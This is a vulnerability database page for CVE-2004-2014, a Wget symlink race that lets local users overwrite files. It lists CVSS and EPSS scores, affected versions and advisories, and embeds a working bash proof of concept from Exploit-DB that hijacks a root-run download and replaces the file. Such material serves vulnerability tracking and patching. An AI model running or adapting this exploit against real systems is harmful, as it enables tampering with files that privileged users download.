CVE-2004-2014 : Detail

CVE-2004-2014

0.04%V3
Local
2005-05-10
02h00 +00:00
2018-10-03
18h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Wget 1.9 and 1.9.1 allows local users to overwrite arbitrary files via a symlink attack on the name of the file being downloaded.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.6 AV:L/AC:H/Au:N/C:N/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 24123

Publication date : 2004-05-16 22h00 +00:00
Author : Hugo Vazquez
EDB Verified : Yes

source: https://www.securityfocus.com/bid/10361/info The 'wget' utility has been reported prone to a race-condition vulnerability. The issue exists because wget doesn't lock files that it creates and writes to during file downloads. A local attacker may exploit this condition to corrupt files with the privileges of the victim who is running the vulnerable version of wget. #!/bin/bash rm -f salida.txt pid.txt *.wget /tmp/patch-2.4.26.bz2 echo "1">salida.txt a=`cat salida.txt` echo "Waiting for Wget execution..." while [ "$a" == 1 ] do ps auxw|grep wget|grep patch-2.4.26.bz2>>salida.txt a=`cat salida.txt` done echo "Process catched!" pgrep -u root wget>pid.txt ln -s /dev/null /tmp/patch-2.4.26.bz2 echo "/dev/null link created!" echo "Waiting for downloading to finish..." b=`pgrep -u root wget` touch $b.wget c=1 while [ "$c" == 1 ] do if [ -e .wget ] then c=0 echo "Downloading finished! Let's delete the original file, and put our trojaned file :-)" rm -f /tmp/patch-2.4.26.bz2 echo "Surprise!">/tmp/patch-2.4.26.bz2 echo "Does it worked?" ls -la /tmp/patch-2.4.26.bz2 else b=`pgrep -u root wget` touch $b.wget fi done

Products Mentioned

Configuraton 0

Gnu>>Wget >> Version 1.5.3

Gnu>>Wget >> Version 1.6

Gnu>>Wget >> Version 1.7

Gnu>>Wget >> Version 1.7.1

Gnu>>Wget >> Version 1.8

Gnu>>Wget >> Version 1.8.1

Gnu>>Wget >> Version 1.8.2

Gnu>>Wget >> Version 1.9

Gnu>>Wget >> Version 1.9.1

References

http://marc.info/?l=wget&m=108483270227139&w=2
Tags : mailing-list, x_refsource_MLIST
http://www.redhat.com/support/errata/RHSA-2005-771.html
Tags : vendor-advisory, x_refsource_REDHAT
https://usn.ubuntu.com/145-1/
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/17399
Tags : third-party-advisory, x_refsource_SECUNIA
http://marc.info/?l=wget&m=108482747906833&w=2
Tags : mailing-list, x_refsource_MLIST
http://www.securityfocus.com/bid/10361
Tags : vdb-entry, x_refsource_BID
http://marc.info/?l=bugtraq&m=108481268725276&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.mandriva.com/security/advisories?name=MDKSA-2005:204
Tags : vendor-advisory, x_refsource_MANDRIVA